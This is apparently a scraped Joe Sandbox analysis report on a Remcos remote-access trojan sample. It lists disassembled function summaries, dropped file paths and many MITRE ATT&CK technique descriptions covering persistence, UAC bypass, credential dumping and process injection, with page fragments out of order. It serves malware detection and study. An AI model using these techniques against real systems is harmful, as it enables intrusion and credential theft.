
Function 1579EF58 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 15798215: GetLastError.KERNEL32(?,?,15795591,157BEA10,0000000C,15784B93), ref: 15798219
Part of subcall function 15798215: _free.LIBCMT ref: 1579824C
Part of subcall function 15798215: SetLastError.KERNEL32(00000000), ref: 1579828D
Part of subcall function 15798215: _abort.LIBCMT ref: 15798293

Part of subcall function 1579F077: _abort.LIBCMT ref: 1579F0A9
Part of subcall function 1579F077: _free.LIBCMT ref: 1579F0DD

Part of subcall function 1579ECEC: GetOEMCP.KERNEL32(00000000,?,?,1579EF75,?), ref: 1579ED17

_free.LIBCMT ref: 1579EFD0
_free.LIBCMT ref: 1579F006

Strings

@/h, xrefs: 1579F04F
@/h, xrefs: 1579F04A

Memory Dump Source

Source File: 00000006.00000002.2280916321.000000001577F000.00000040.00001000.00020000.00000000.sdmp, Offset: 1577F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1577f000_Tuscpznj.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: @/h$@/h
API String ID: 2991157371-2288010694
Opcode ID: eef82fa1333e77d136fed1e8e1ca9ff84693774f6b7f2b651dfaf1ff19bf6249
Instruction ID: 7fda4e82e72adcca2cd5a7d34993ab6fdfc851446d080e1b2d7429783d1b6c6d
Opcode Fuzzy Hash: eef82fa1333e77d136fed1e8e1ca9ff84693774f6b7f2b651dfaf1ff19bf6249
Instruction Fuzzy Hash: 4C31A175A04145AFD709DB68F486B99B7E6FF40330F25459AE8149B290EB32AD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04037B20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,04037BA5,?,?,00000000,00000000), ref: 04037B81

Strings

irtualProtect, xrefs: 04037B39
kernel32, xrefs: 04037B5C

Memory Dump Source

Source File: 00000006.00000002.2272940789.0000000004021000.00000020.00001000.00020000.00000000.sdmp, Offset: 04021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4021000_Tuscpznj.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: irtualProtect$kernel32
API String ID: 544645111-2063912171
Opcode ID: cd45169819fa831ee43b9e2749a1dc4d9dd3621d0f39a4d2768662e741d5c930
Instruction ID: 42c6d098f9214bbab5b67c95a189bddc2fb0f3a8c75c807d81f2f7b9acf6a08b
Opcode Fuzzy Hash: cd45169819fa831ee43b9e2749a1dc4d9dd3621d0f39a4d2768662e741d5c930
Instruction Fuzzy Hash: 840121B5200258BFE710EFA4DD41F9ABBFCEB49618F9184A5B514F7680D674FE008A24

Uniqueness

Uniqueness Score: -1.00%

Function 1575D069 Relevance: 3.0, APIs: 2, Instructions: 13
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,1575EC08,0000000D,00000033,00000000,00000032,00000000,157B739C,00000000,0000000E,00000000,157B60BC,00000003), ref: 1575D078
GetLastError.KERNEL32 ref: 1575D083

Memory Dump Source

Source File: 00000006.00000002.2280916321.0000000015751000.00000040.00001000.00020000.00000000.sdmp, Offset: 15751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_15751000_Tuscpznj.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 3e0778f5339eae27bfa200f7ccd521259bcaa08a3de8dfe7546f027e861fc619
Instruction ID: 30a6285bd82af15e5bbbaa79b5adefe4393de44b19f8bda5e880e07dded77f7c
Opcode Fuzzy Hash: 3e0778f5339eae27bfa200f7ccd521259bcaa08a3de8dfe7546f027e861fc619
Instruction Fuzzy Hash: 35D080F87352219FD7081774D8DFB5C39A4D75C703F840458F107C99C0DFA448A08511

Uniqueness

Uniqueness Score: -1.00%

Function 15796137 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?), ref: 15796169

Memory Dump Source

Source File: 00000006.00000002.2280916321.000000001577F000.00000040.00001000.00020000.00000000.sdmp, Offset: 1577F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1577f000_Tuscpznj.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2acad887c5f5534c3339a748276fef9df84b3dd80fd9dce0fd7e4fae8a75c00f
Instruction ID: 738522a5d477a00611064bf3915f91063b9e0c360ccbe1c96e516b3735ae4ef8
Opcode Fuzzy Hash: 2acad887c5f5534c3339a748276fef9df84b3dd80fd9dce0fd7e4fae8a75c00f
Instruction Fuzzy Hash: 0FE09B357A562576DF1A16657C0BB4B775EAF417F1F110321EC15961D6DF20E800C1F1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 15797571 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 15797723
__freea.LIBCMT ref: 15797741

Part of subcall function 15785E40: _free.LIBCMT ref: 15785E56

Strings

a/p, xrefs: 15797808
am/pm, xrefs: 157977A4

Memory Dump Source

Source File: 00000006.00000002.2280916321.000000001577F000.00000040.00001000.00020000.00000000.sdmp, Offset: 1577F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1577f000_Tuscpznj.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: c8fcbfc08cd11561be1fc5b26ac70555c853ce309f5591ed753e51d7223b9d7d
Instruction ID: 12bbffc987da4801def7c2acc26f909d0f7602d1b5a67088517538c78860e059
Opcode Fuzzy Hash: c8fcbfc08cd11561be1fc5b26ac70555c853ce309f5591ed753e51d7223b9d7d
Instruction Fuzzy Hash: 9ED1BF35D14207CADB1C8F68E89BBAAF7B5FF06730F204159E546AB254D335A980CBB1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Privilege Escalation

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\remcos\logs.dat

C:\Users\Public\Libraries\Tuscpznj

C:\Users\Public\Libraries\Tuscpznj.PIF

C:\Users\Public\Tuscpznj.url

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

Windows Analysis Report
SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre